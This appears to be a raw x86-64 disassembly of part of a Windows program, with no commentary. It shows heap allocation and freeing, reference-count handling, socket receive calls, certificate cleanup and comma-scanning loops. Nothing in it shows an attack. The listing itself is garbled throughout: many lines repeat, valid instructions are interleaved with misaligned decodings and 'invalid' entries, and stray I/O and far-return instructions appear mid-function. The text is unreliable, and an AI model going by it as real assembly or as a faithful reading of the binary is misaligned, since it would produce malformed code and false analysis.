je 0x14013111e
lea rcx, [rax + 1]
mov qword [rbp - 0x18], rcx
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rcx + rax*8]
mov rcx, 0xffffffffffffffc0
mov ecx, 0xffffffc0
mov ecx, 0xffffffc0
lock xadd qword [rdx], rcx
cmp rcx, 0x3f
jbe 0x1401311eb
and rcx, 0xffffffffffffffc0
cmp rcx, 0x40
jne 0x1401310d0
mov rcx, qword [rbp - 0x10]
mov rcx, qword [rcx + rax*8]
ror dword [rax - 0x75], 0x41
adc bh, bh
push rax
adc bl, ch
invalid
ror dword [rax - 0x75], 0x41
adc bh, bh
push rax
adc bl, ch
mov dl, 0x48
cmp dword [rbp - 0x20], 0
cmp qword [rbp - 0x20], 0
mov rsi, qword [rbp - 8]
clc
je 0x14013113c
mov r8, qword [rsi + 0x40]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsi], 2
je 0x14013114a
mov rcx, qword [rbp - 8]
call fcn.14006d730
mov rcx, qword [0x14023c258]
xor edx, edx
mov r8, qword [rbp - 8]
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp - 0x10]
lea rcx, [rcx + rax*8]
xor eax, eax
mov qword [rbp - 0x38], r9
mov qword [rbp - 0x30], rcx
jmp 0x140131198
mov rcx, qword [rbp - 0x18]
mov rax, rcx
mov r9, qword [rbp - 0x38]
cmp rcx, r9
mov rcx, qword [rbp - 0x30]
je 0x1401310b9
lea rdx, [rax + 1]
mov qword [rbp - 0x18], rdx
mov rdx, qword [rcx + rax*8]
adc al, 0xc1
adc al, 0xc1
mov rcx, 0xffffffffffffffc0
lock xadd qword [rdx], rcx
cmp rcx, 0x3f
jbe case.0x140119330.131
and rcx, 0xffffffffffffffc0
cmp rcx, 0x40
jne 0x140131180
mov rcx, qword [rbp - 0x30]
mov rcx, qword [rcx + rax*8]
mov rax, qword [rcx + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x140131180
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
add eax, 0x953c1
add eax, 0x953c1
mov edx, 0x27
call fcn.140186b70
jmp 0x140131203
add byte [rax], al
add al, ch
xchg dword [rcx + 5], ebx
add bl, ch
sbb byte [rax - 0x73], cl
or eax, 0x95386
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401c65a0]
cmpsd dword [rsi], dword [rdi]
push rbx
or dword [rax], eax
mov edx, 0x27
call fcn.140186b70
ud2
invalid
mov rbx, qword [rbp - 0x18]
cmp rbx, rsi
mov rdi, qword [rbp - 0x30]
je 0x140131251
nop word cs:[rax + rax]
nop word cs:[rax + rax]
lea rcx, [rdi + rbx*8]
call fcn.140097f60
inc rbx
cmp rbx, rsi
jne 0x140131240
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x28]
call fcn.14013faa0
add byte [rax], al
add byte [rax], al
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
lea ebp, [rdx + 0x60]
invalid
mov rdi, qword [rbp - 0x28]
mov rbx, qword [rbp - 0x18]
cmp rbx, rdi
mov rsi, qword [rbp - 0x10]
je 0x1401312d1
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax - 0x73], cl
or al, 0xde
lea rcx, [rsi + rbx*8]
call fcn.140097f60
insb byte [rdi], dx
idiv bh
inc rbx
cmp rbx, rdi
cmp ebx, edi
jne 0x1401312c0
out dx, eax
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
mov rcx, qword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov ecx, dword [rbp - 0x10]
mov rdx, qword [rbp - 0x20]
call fcn.140046050
mov rcx, qword [rbp - 8]
call fcn.14016d750
nop
add rsp, 0x28
invalid
sub byte [rbx + 0x5f], bl
pop rsi
pop rbp
invalid
ret
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x60]
invalid
lea ebp, [rdx + 0x60]
invalid
mov rcx, qword [rbp - 8]
call fcn.140029350
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop rbp
ret
int3
push rsi
push r13
push rbp
push r12
push rsi
push rdi
push rbx
mov eax, 0x1538
adc eax, 0x2ae80000
invalid
invalid
invalid
adc eax, 0x2ae80000
add rax, 0xffffffffc4294800
sub rsp, rax
sub rsp, rax
invalid
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0x14a0], xmm10
add byte [rax], al
add byte [rsi + 0x44], ah
movq qword [rbp + 0x14a0], mm2
add byte [rax], al
movdqa xmmword [rbp + 0x1490], xmm9
movdqa xmmword [rbp + 0x1480], xmm8
movq qword [rbp + 0x1480], mm0
movq qword [rbp + 0x1480], mm0
add byte [rax], al
movdqa xmmword [rbp + 0x1470], xmm7
movdqa xmmword [rbp + 0x1460], xmm6
and rsp, 0xffffffffffffff80
in al, 0x80
in al, 0x80
mov rbx, rsp
mov qword [rbx + 0x14d0], rbp
mov qword [rbp + 0x1458], 0xfffffffffffffffe
invalid
invalid
invalid
dec dword [rax - 0x77]
xchg ebx, eax
invalid
invalid
add byte [rax], al
mov rdx, rcx
retf 0xb60f
adc eax, 0x48000001
lea ecx, [0x1401ef984]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
invalid
retf 0xb60f
add eax, ecx
mov qword [rbx + 0xc0], rdx
jmp rax
mov word [rdx + 0x1d1], 0x101
add byte [rax], al
add dword [rcx], eax
lea rcx, [rbx + 0x6b0]
mov r8d, 0x198
call sub.VCRUNTIME140.dll_memcpy
add eax, 0x838b4800
or byte [rax], cl
add byte [rax], al
add eax, 0x838b4800
or byte [rax], cl
add byte [rax], al
mov r14b, 1
mov dil, 1
mov rsi, rax
mov esi, eax
mov qword [rbx + 0xb0], rax
test rax, rax
je 0x140131532
mov dword [rbx + 0xa8], r14d
mov dword [rbx + 0x90], edi
lea rcx, [rbx + 0x6b0]
call fcn.14001df80
dec dword [rax - 0x7d]
mov ebx, 0xb0
add byte [rdi], cl
invalid
cwde
add byte [rax], al
invalid
dec dword [rax - 0x7d]
mov ebx, 0xb0
add byte [rdi], cl
test byte [rax + 0x48000000], bl
mov ecx, dword [rbx + 0x7a0]
movabs al, byte [0x7b0838b48000007]
add byte [rax], al
movabs al, byte [0x7b0838b48000007]
add byte [rax], al
mov qword [rbx + 0x68], rax
xor eax, eax
mov qword [rbx + 0x88], rax
mov qword [rbx + 0x78], rcx
js 0x1401314c5
nop
js 0x1401314c5
nop
mov rax, qword [rbx + 0x88]
cmp qword [rbx + 0x68], rax
je 0x1401314ba
inc rax
inc eax
mov qword [rbx + 0x88], rax
lea rdi, [rcx + 0x88]
call fcn.140066800
mov rcx, rdi
jmp 0x140131460
lea rax, [rdx + 0x1c8]
mov qword [rbx + 0x68], rax
movzx eax, byte [rdx + 0x1c8]
lea rcx, [0x1401ef994]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rdi, qword [rdx + 0x1b8]
mov qword [rdx + 0x1c0], rdi
jmp 0x14013152d
cmp qword [rbx + 0x7a8], 0
je 0x1401314d7
invalid
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
xor edx, edx
mov r8, qword [rbx + 0x78]
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbx + 0x710], 0
jne 0x1401316aa
mov rcx, qword [rbx + 0x718]
add byte [rax], al
mov rax, qword [rbx + 0x720]
mov qword [rbx + 0x68], rcx
mov qword [rbx + 0x88], rax
call qword [rax]
mov rax, qword [rbx + 0x88]
cmp qword [rax + 8], 0
je 0x1401316aa
cmp qword [rax + 0x10], 0x11
jae 0x140131693
adc dword [rdi], ecx
xor dword [rsi + 1], 0
add byte [rbx + rcx*4 + 0x43], cl
push 0x175e9
add byte [rax - 0x75], cl
mov edx, 0x1c0
jmp 0x140133d2d
mov rax, qword [rbx + 0x7b0]
mov qword [rbx + 0x170], rax
movdqu xmm0, xmmword [rbx + 0x7a0]
movdqa xmmword [rbx + 0x160], xmm0
cmp byte [rbx + 0x823], 0
je case.0x1401132c0.418
mov rax, qword [0x14023c048]
cmp rax, 2
je 0x140131583
mov byte [rbx + 0x58], 1
mov byte [rbx + 0x59], 1
mov byte [rbx + 0x5a], 1
mov byte [rbx + 0x5b], 1
mov byte [rbx + 0x5c], 0
call fcn.14018aca0
mov rax, qword [0x14023c050]
lock inc qword [rax]
jle 0x140133cf9
mov r12, qword [rbx + 0x998]
lea rdx, [0x1401bf330]
lea rcx, [rbx + 0xc40]
mov r8d, 8
call fcn.14014fe70
mov r8, r14
movzx r15d, byte [rbx + 0xc58]
cmp r15b, 2
jne 0x1401318a6
xor r14d, r14d
jmp 0x1401318ca
mov qword [rbx + 0x998], rsi
jmp 0x1401318f6
cmp qword [rbx + 0xb0], 0
je 0x140131723
mov rax, qword [rbx + 0x7b8]
mov qword [rbx + 0x78], rax
mov rax, qword [rbx + 0x7c8]
mov qword [rbx + 0x68], rax
xor eax, eax
mov qword [rbx + 0x88], rax
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
nop word [rax + rax]
mov rax, qword [rbx + 0x88]
cmp qword [rbx + 0x68], rax
je 0x140131706
cmp qword [rbx + 0xb0], 0
jne 0x140131743
mov rcx, qword [rbx + 0x810]
mov rdx, qword [rbx + 0x818]
call fcn.14006cb50
test dil, dil
je 0x140131807
mov rax, qword [rbx + 0xc0]
mov qword [rax + 0x1a8], rsi
mov byte [rax + 0x1d2], 0
mov rcx, qword [rax + 0x1a0]
xor edx, edx
call fcn.140130d10
cmp rax, 1
jne 0x140131885
mov qword [rbx + 0x200], rdx
test rdx, rdx
je 0x1401317de
lea rcx, [rbx + 0x200]
call fcn.140002410
mov rax, qword [rbx + 0xc0]
mov rax, qword [rax + 0x1a8]
lock dec qword [rax]
jne 0x140131868
mov rax, qword [rbx + 0xc0]
mov rcx, qword [rax + 0x1a8]
call fcn.140129740
jmp 0x140131868
mov rax, qword [rbx + 0xc0]
mov byte [rax + 0x1d2], 0
mov rcx, qword [rax + 0x1a0]
mov rdx, rsi
call fcn.140130d10
mov qword [rbx + 0x200], rax
mov qword [rbx + 0x208], rdx
test rax, rax
je 0x140131868
cmp rax, 1
jne 0x140131857
mov qword [rbx + 0x6b0], rdx
test rdx, rdx
je 0x140131868
lea rcx, [rbx + 0x6b0]
call fcn.140002410
jmp 0x140131868
test rdx, rdx
je 0x140131868
lea rcx, [rbx + 0x208]
call fcn.140002410
mov rax, qword [rbx + 0xc0]
lea rcx, [rax + 0x198]
call fcn.140129f40
mov sil, 1
xor eax, eax
jmp 0x140135fd8
mov rcx, qword [rbx + 0xc0]
mov byte [rcx + 0x1d1], 0
mov rax, qword [rcx + 0x198]
mov qword [rcx + 0x1b0], rax
jmp 0x140133cff
mov r10, qword [rbx + 0xc40]
mov rsi, qword [rbx + 0xc48]
mov rax, qword [rbx + 0xc50]
mov r14b, 1
test r15b, r15b
je 0x140133a76
mov r13, rax
cmp dil, 2
je 0x1401318ea
mov qword [rbx + 0x1000], r14
mov qword [rbx + 0x1008], rsi
mov qword [rbx + 0x1010], r13
test r13, r13
je 0x140131ef3
mov qword [rbx + 0xa8], r13
mov qword [rbx + 0xef0], 1
pxor xmm0, xmm0
movdqu xmmword [rbx + 0xef8], xmm0
cmp eax, 0xe
add byte [rax], al
mov qword [rbx + 0x10f0], 8
movdqu xmmword [rbx + 0x10f8], xmm0
mov eax, 1
mov qword [rbx + 0x90], rax
add byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x77], 0x43
js 0x1401319be
movq mm6, qword [str._________________]
movdqa xmm7, xmmword [0x14018f600]
xor ecx, ecx
xor edi, edi
xor eax, eax
test al, al
je 0x1401319ed
mov rdi, qword [rbx + 0xef0]
lea rax, [rbx + 0xef8]
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rbx + 0x10f0]
mov rax, qword [rbx + 0x1100]
movdqa xmmword [rbx + 0xc40], xmm0
mov qword [rbx + 0xc60], rax
movdqa xmmword [rbx + 0xc50], xmm1
jmp case.0x1401132c0.410
mov r14, r13
mov rax, qword [rbx + 0x10f0]
lea rcx, [rdx + rdx*2]
mov r8, qword [rbx + 0xc50]
mov qword [rax + rcx*8 + 0x10], r8
movdqu xmm0, xmmword [rbx + 0xc40]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rbx + 0x1100], rdx
mov rcx, qword [rbx + 0x68]
mov eax, dword [rbx + 0x88]
test al, al
jne 0x140131971
mov al, 1
mov dword [rbx + 0x88], eax
mov rsi, qword [rbx + 0xa8]
cmp rdi, rsi
jbe 0x140131a10
mov qword [rbx + 0x68], rcx
jmp 0x140131b57
mov rdx, rdi
mov r8, rsi
sub r8, rdx
lea rax, [r14 + rdx]
cmp r8, 0x10
clc
invalid
jae 0x140131a50
cmp rsi, rdx
je 0x140131b50
test byte [rcx + rax], ah
add byte [rax], al
xor r10d, r10d
nop
cmp byte [rax + r10], 0x2c
je 0x140131b24
inc r10
cmp r8, r10
jne 0x140131a30
jmp 0x140131b50
lea r9, [rax + 7]
and r9, 0xfffffffffffffff8
sub r9, rax
movabs rdi, 0x8080808080808080
je 0x140131a99
cmp r9, r8
cmovae r9, r8
test r9, r9
je 0x140131a99
xor r10d, r10d
nop word cs:[rax + rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rdx - 0x80], al
cmp al, 0x10
sub al, 0xf
test byte [rcx + 0x49000000], bl
inc edx
cmp byte [rax + r10], 0x2c
je 0x140131b24
inc r10
cmp r9, r10
jne 0x140131a80
lea r10, [r8 - 0x10]
jmp 0x140131ab0
lea r10, [r8 - 0x10]
lea edx, [rax - 0x10]
invalid
xor r9d, r9d
jmp 0x140131ab5
invalid
adc esp, dword [rsi + 0x66]
nop word cs:[rax + rax]
cmp r9, r10
cmp ecx, edx
ja 0x140131af0
movdqu xmm0, xmmword [rax + r9]
movdqa xmm1, xmm0
enter 0xf66, 0xffffffffffffffef
invalid
paddq xmm1, xmm7
pandn xmm0, xmm1
pshufd xmm1, xmm0, 0xee
por xmm1, xmm0
jmp 0x140131a9c
movq r11, xmm1
movq r11, mm1
enter 0xf66, 0xffffffffffffffef
invalid
jmp 0x140131a9c
movq r11, mm1
test r11, rdi
jne 0x140131af0
add r9, 0x10
jmp 0x140131ab0
add byte [rax], al
add byte [rbp + 0x39], cl
sal dword [rbx + rbx*2 + 0x4c], 1
add eax, ecx
mov r8, rsi
cmp r9, r8
je 0x140131b50
add rax, r9
add eax, ecx
mov r8, rsi
invalid
sub r8, r9
sub r8, rdx
xor r10d, r10d
nop word cs:[rax + rax]
cmp byte [rax + r10], 0x2c
cmp byte [rax + rdx], 0x2c
je 0x140131b21
inc r10
cmp r8, r10
jne 0x140131b10
int1
int1
jmp 0x140131b50
add r10, r9
lea rdi, [rdx + r10]
lea edi, [rdx + rdx]
inc rdi
add rdx, r10
cmp rdx, rsi
jae 0x140131b3e
cmp byte [r14 + rdx], 0x2c
je 0x140131ee0
mov rdx, rdi
cmp rdi, rsi
jbe 0x140131a13
mov qword [rbx + 0x68], rcx
mov rdi, rsi
mov rdx, rsi
sub rdx, rcx
add rcx, r14
call fcn.140042e20
test rax, rax
lea rcx, [rbx + 0x990]
je 0x140131971
lea eax, [0x1401b7548]
lahf
pop rcx
or byte [rax], al
mov qword [rbx + 0xc48], rax
mov qword [rbx + 0xc50], 1
lea rax, [0x1401b7570]
or dword [rax + 0xc], 0
add byte [rax - 0x39], cl
adc dword [rax + 0xc], 0
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x859ae
mov qword [rbx + 0xc58], rax
add byte [rax], al
call fcn.14005bfb0
mov r14, rax
mov esi, eax
mov esi, eax
test r14b, 1
jne 0x140131c40
mov qword [rbx + 0x9a0], 0
lea rcx, [rbx + 0x180]
lea rdx, [rbx + 0x990]
call fcn.14005c110
cmp byte [rbx + 0x180], 0
je 0x140131d00
mov eax, dword [rbx + 0x181]
movzx r14d, byte [rbx + 0x185]
shl r14, 0x20
or r14, rax
lea rcx, [rbx + 0x186]
mov rax, qword [rcx]
mov qword [rbx + 0x520], rax
mov eax, dword [rcx + 8]
mov dword [rbx + 0x528], eax
mov sil, 1
jmp 0x140131c53
movabs rax, 0xffffffffff00
and r14, rax
shr r14, 8
xor esi, esi
mov eax, dword [rbx + 0x528]
mov dword [rbx + 0x188], eax
mov rax, qword [rbx + 0x520]
mov qword [rbx + 0x180], rax
mov rax, qword [rbx + 0x9a0]
cmp rax, qword [rbx + 0x998]
jne 0x140131d00
mov eax, dword [rbx + 0x188]
mov dword [rbx + 0x5c8], eax
mov rax, qword [rbx + 0x180]
mov qword [rbx + 0x5c0], rax
mov rdx, qword [rbx + 0x78]
cmp rdx, qword [rbx + 0xef8]
mov rcx, qword [rbx + 0x90]
jne 0x140131cc9
lea rcx, [rbx + 0xef0]
call fcn.140071670
mov rcx, qword [rbx + 0xef0]
mov rdx, qword [rbx + 0xf00]
lea rax, [rdx + rdx*8]
mov byte [rcx + rax*2], sil
mov dword [rcx + rax*2 + 1], r14d
shr r14, 0x20
mov byte [rcx + rax*2 + 5], r14b
mov r8, rcx
mov rcx, qword [rbx + 0x5c0]
mov qword [r8 + rax*2 + 6], rcx
mov ecx, dword [rbx + 0x5c8]
jmp 0x140131eac
mov qword [rbx + 0x990], r12
mov qword [rbx + 0x998], r15
lea rsi, [rbx + 0x990]
mov rcx, rsi
call fcn.140015b00
mov r14, rax
test r14b, 1
jne 0x140131d8b
lea rcx, [rbx + 0xc40]
mov rdx, rsi
call fcn.140016060
cmp byte [rbx + 0xc40], 0
je 0x140131d99
mov r14d, dword [rbx + 0xc41]
lea rcx, [rbx + 0xc45]
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
mov qword [rbx + 0x180], rax
mov eax, dword [rcx + 8]
mov dword [rbx + 0x188], eax
add byte [rax], al
add byte [rax], al
cmp qword [rbx + 0x998], 0
jne 0x140131d99
mov eax, dword [rbx + 0x188]
mov dword [rbx + 0xc48], eax
mov rax, qword [rbx + 0x180]
add byte [rax], al
or dword [rax - 0x76ffffff], 0xffffff83
or al, 0
add byte [rax - 0x75], cl
add dword [rax + 0x48000001], 0xffffff89
add byte [rax], al
mov qword [rbx + 0xc40], rax
mov sil, 1
jmp 0x140131e46
cmp qword [rbx + 0x998], 0
add byte [rax], al
mov qword [rbx + 0xc40], rax
add byte [rax], al
mov sil, 1
jmp 0x140131e46
cmp qword [rbx + 0x998], 0
add byte [rax], al
je 0x140131e40
test r15, r15
je 0x140131de8
js 0x140133cae
add byte [rax], al
movzx eax, byte [0x14023c308]
mov rax, qword [0x14023c258]
test rax, rax
jne case.0x14011130f.500
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133bfc
mov qword [0x14023c258], rax
movsb byte [rdi], byte [rsi]
adc byte [rax], al
mov rcx, rax
xor edx, edx
ror byte [rbp - 0x77], cl
clc
ror byte [rbp - 0x77], cl
clc
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r14, rax
test rax, rax
add byte [rcx - 0x77], cl
invalid
jne 0x140131dee
jmp 0x140133bfc
mov r14d, 1
mov rcx, r14
mov rdx, r12
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbx + 0xc40], r14
mov qword [rbx + 0xc48], r15
mov qword [rbx + 0xc50], r15
mov rdx, qword [rbx + 0x1100]
cmp rdx, qword [rbx + 0x10f8]
jne 0x1401319ae
lea rcx, [rbx + 0x10f0]
call fcn.140071740
mov r14, r13
mov rdx, qword [rbx + 0x1100]
jmp 0x1401319b1
shr r14, 8
xor esi, esi
mov eax, dword [rbx + 0xc48]
mov dword [rbx + 0x528], eax
mov rax, qword [rbx + 0xc40]
mov qword [rbx + 0x520], rax
mov rdx, qword [rbx + 0x78]
cmp rdx, qword [rbx + 0xef8]
jne 0x140131e80
lea rcx, [rbx + 0xef0]
call fcn.140071670
div edi
dec dword [rax - 0x75]
xchg ebx, eax
add byte [rdi], cl
add byte [rax], al
add al, ch
div edi
dec dword [rax - 0x75]
xchg ebx, eax
add byte [rdi], cl
add byte [rax], al
mov r8, qword [rbx + 0xef0]
invalid
add byte [rax], al
lea rax, [rdx + rdx*8]
mov byte [r8 + rax*2], 2
mov byte [r8 + rax*2 + 1], sil
mov dword [r8 + rax*2 + 2], r14d
mov rcx, qword [rbx + 0x520]
mov qword [r8 + rax*2 + 6], rcx
mov ecx, dword [rbx + 0x528]
mov qword [rbx + 0x90], r8
mov dword [r8 + rax*2 + 0xe], ecx
invalid
invalid
invalid
inc rdx
mov qword [rbx + 0x78], rdx
mov qword [rbx + 0xf00], rdx
add byte [rax - 0x75], cl
push 0xffffffff8bee894d
or dword [rax - 0x7c000000], 0xffffffc0
invalid
test al, al
add byte [rax - 0x75], cl
push 0xffffffff8bee894d
or dword [rax - 0x7c000000], 0xffffffc0
invalid
test al, al
je 0x1401319ed
jmp 0x140131971
mov byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
jnp 0x140131f56
jmp 0x140131b5a
xor edi, edi
jmp case.0x1401132c0.410
mov qword [rbx + 0x1000], 1
pxor xmm0, xmm0
movdqu xmmword [rbx + 0x1008], xmm0
jg 0x140131e8f
or byte [rax], dl
add byte [rax], al
mov r14d, 1
cmp r15b, 2
je case.0x1401132c0.410
test rsi, rsi
je case.0x1401132c0.410
mov rcx, qword [0x14023c258]
xor edi, edi
xor edx, edx
mov r8, r10
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
cmp qword [rbx + 0x1008], 0
je 0x140131f51
mov rcx, qword [0x14023c258]
adc ah, byte [rbx - 0x2dcefff0]
xor edx, edx
mov r8, r14
mov eax, esi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rbx + 0x258], rdi
movdqa xmm0, xmmword [rbx + 0xc40]
movdqa xmm1, xmmword [rbx + 0xc50]
movdqu xmmword [rbx + 0x260], xmm0
movdqu xmmword [rbx + 0x270], xmm1
mov rax, qword [rbx + 0xc60]
mov eax, dword [rbx + 0xc60]
mov eax, dword [rbx + 0xc60]
mov qword [rbx + 0x280], rax
lea rcx, [rbx + 0xc40]
or al, 0
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rdx], al
add byte [rax], al
or al, 0
add byte [rax - 0x73], cl
xchg ebx, eax
add byte [rdx], al
add byte [rax], al
mov r8d, 0x88
mov byte [rax], al
add byte [rax], al
call sub.VCRUNTIME140.dll_memcpy
mov rsi, qword [rbx + 0x170]
cmp rsi, qword [rbx + 0x168]
jne 0x140131fc5
lea rcx, [rbx + 0x160]
mov rdx, rsi
call fcn.140068000
dec dword [rax - 0x75]
mov bl, 0x70
add dword [rax], eax
invalid
dec dword [rax - 0x75]
mov bl, 0x70
add dword [rax], eax
add byte [rax - 0x77], cl
invalid
mov rax, rsi
shl rax, 7
lea rcx, [rax + rsi*8]
or al, 0xf0
or al, 0xf0
add rcx, qword [rbx + 0x160]
lea rdx, [rbx + 0xc40]
or al, 0
invalid
mov r8d, 0x88
call sub.VCRUNTIME140.dll_memmove
inc rsi
invalid
mov qword [rbx + 0x170], rsi
mov dword [rbx + 0x170], esi
mov rax, qword [rbx + 0x170]
jo case.0x1401156eb.361
add byte [rax], al
add byte [rax - 0x77], cl
and dword [rax], 2
and byte [rdx], al
mov qword [rbx + 0x220], rax
and byte [rdx], al
add byte [rax], al
movdqa xmm0, xmmword [rbx + 0x160]
movdqu xmmword [rbx + 0x210], xmm0
adc byte [rdx], al
add byte [rax], al
add dword [rax], eax
add bl, dh
movq qword [rbx + 0x210], mm0
adc byte [rdx], al
add byte [rax], al
adc byte [rdx], al
add byte [rax], al
mov qword [rbx + 0x200], 1
mov qword [rbx + 0x208], 1
movzx eax, byte [0x14023c308]
add byte [rax - 0x75], cl
or eax, 0x10a223
add byte [rax - 0x75], cl
or eax, 0x10a223
test rcx, rcx
jne 0x140132053
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
rol byte [0x100986843], 1
je 0x140133b76
mov rcx, rax
mov ecx, eax
mov qword [0x14023c258], rax
mov r8d, 0x28
xor edx, edx
sar bh, cl
adc eax, 0x5cfd7
sar bh, cl
adc eax, 0x5cfd7
test rax, rax
je 0x140133b76
mov rcx, qword [rbx + 0x220]
mov qword [rax + 0x20], rcx
movdqu xmm0, xmmword [rbx + 0x200]
movdqu xmm1, xmmword [rbx + 0x210]
add al, byte [rax]
add bl, dh
movq qword [rax + 0x10], mm1
add al, byte [rax]
add bl, dh
movq qword [rax + 0x10], mm1
movdqu xmmword [rax], xmm0
mov qword [rbx + 0x108], rax
add dword [rax], eax
add byte [rax + 0x82fbb], al
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x82fbb], al
add byte [rax], al
jne 0x140133c0e
test dword [rbx + rbx], ebp
sbb eax, dword [rax]
add byte [rdi], cl
mov dh, 5
pop rdi
movabs byte [0x10a1a80d8b480010], al
adc byte [rax], al
invalid
invalid
invalid
test al, 0xa1
invalid
invalid
movzx eax, byte [0x14023c308]
adc byte [rax], al
mov rcx, qword [0x14023c258]
mov ecx, dword [0x14023c258]
movabs eax, dword [0xff1975c985480010]
adc eax, 0x5cf85
test edi, ecx
invalid
invalid
add byte [rax - 0x7b], cl
leave
test rcx, rcx
test ecx, ecx
jne 0x1401320ce
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test edi, ecx
add eax, 0xc0854800
add byte [rax - 0x7b], cl
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test rax, rax
je 0x140133b8a
sbb al, byte [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
mov ah, byte [rcx - 0x47befff0]
adc byte [rax], al
add byte [rax], al
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, reloc.WS2_32.dll_recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140133b8a
movsd dword [rdi], dword [rsi]
sbb al, byte [rax]
invalid
movsd dword [rdi], dword [rsi]
sbb al, byte [rax]
add byte [rax - 0x77], cl
invalid
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rbx + 0xe0], rax
lea r14, [0x1401be3b0]
mov qword [rbx + 0xe8], r14
mov rax, qword [rbx + 0x810]
mov dil, 1
add dword [rax - 0x77], ecx
push 0x74c08548
invalid
add dword [rax - 0x77], ecx
push 0x74c08548
mov rax, qword [rbx + 0x818]
mov rax, qword [rbx + 0x818]
mov qword [rbx + 0x88], rax
lock dec qword [rsi]
jne 0x140132146
mov rcx, qword [rbx + 0xe0]
loopne 0x140132138
add byte [rax], al
mov rdx, qword [rbx + 0xe8]
call fcn.14006cb50
mov rsi, qword [rbx + 0x68]
mov qword [rbx + 0xe0], rsi
mov r14, qword [rbx + 0x88]
mov qword [rbx + 0xe8], r14
call 0x171132160
shr bl, 2
mov bl, 0x88
add byte [rax], al
add byte [rcx + rcx*4 - 0x4d], cl
call 0x171132160
add byte [rcx], dh
shr bl, 2
mov al, 1
mov dword [rbx + 0x90], eax
lea rax, [rbx + 0x7d0]
mov r13, qword [rbx + 0x7e8]
test r13, r13
je 0x1401322ee
movdqu xmm0, xmmword [rax]
movdqu xmm1, xmmword [rax + 0x10]
movdqu xmm2, xmmword [rax + 0x20]
movdqu xmmword [rbx + 0x230], xmm2
add al, byte [rax]
add bl, dh
movq qword [rbx + 0x220], mm1
add al, byte [rax]
add bl, dh
movq qword [rbx + 0x220], mm1
movdqu xmmword [rbx + 0x210], xmm0
mov qword [rbx + 0xc40], rsi
mov qword [rbx + 0xc48], r14
or al, 0
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
or al, 0
add byte [rax - 0x39], cl
add dword [rax], 2
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbx + 0x208], 1
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
add byte [rax], al
add byte [rdi], cl
mov dh, 5
xor eax, 0x480010a1
mov ecx, dword [0x14023c258]
test rcx, rcx
jne 0x1401321f8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140133c8c
sahf
sbb al, byte [rax]
invalid
sahf
sbb al, byte [rax]
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 5
invalid
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x40
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rax - 0x7b], cl
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
test byte [rbp + 0x1a], bh
test eax, eax
je 0x140133c8c
add byte [rax], al
movdqu xmm0, xmmword [rbx + 0x200]
add dword [rax], 2
add byte [rax], al
